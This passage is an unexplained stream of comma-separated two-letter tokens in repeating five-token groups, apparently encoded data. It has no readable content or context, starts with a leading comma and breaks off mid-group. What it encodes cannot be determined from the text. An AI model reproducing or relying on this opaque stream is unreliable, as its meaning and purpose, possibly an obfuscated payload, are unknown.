,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,